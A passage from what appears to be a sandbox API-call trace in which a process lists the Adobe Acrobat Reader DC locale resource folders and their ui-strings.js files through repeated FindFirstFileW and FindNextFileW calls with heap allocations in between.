lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.082] GetProcessHeap () returned 0xc10000 [0249.082] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.082] GetProcessHeap () returned 0xc10000 [0249.082] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.084] GetProcessHeap () returned 0xc10000 [0249.084] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.084] GetProcessHeap () returned 0xc10000 [0249.084] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.085] GetProcessHeap () returned 0xc10000 [0249.085] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.085] GetProcessHeap () returned 0xc10000 [0249.085] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.086] GetProcessHeap () returned 0xc10000 [0249.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.086] GetProcessHeap () returned 0xc10000 [0249.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.087] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.088] GetProcessHeap () returned 0xc10000 [0249.088] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.088] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0249.088] GetProcessHeap () returned 0xc10000 [0249.088] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0249.089] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.089] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.089] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.089] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0249.090] GetProcessHeap () returned 0xc10000 [0249.090] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.090] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0249.090] GetProcessHeap () returned 0xc10000 [0249.090] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.091] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.092] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.092] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.092] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.092] GetProcessHeap () returned 0xc10000 [0249.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.092] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0249.092] GetProcessHeap () returned 0xc10000 [0249.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0249.093] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.093] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.093] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.093] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0249.094] GetProcessHeap () returned 0xc10000 [0249.094] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.094] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0249.094] GetProcessHeap () returned 0xc10000 [0249.094] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.094] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.095] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.095] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.095] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.095] GetProcessHeap () returned 0xc10000 [0249.095] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.095] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0249.095] GetProcessHeap () returned 0xc10000 [0249.095] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.096] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.096] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.096] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.096] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.096] GetProcessHeap () returned 0xc10000 [0249.096] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.096] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0249.096] GetProcessHeap () returned 0xc10000 [0249.096] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.098] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.098] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.098] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.098] FindClose (in: 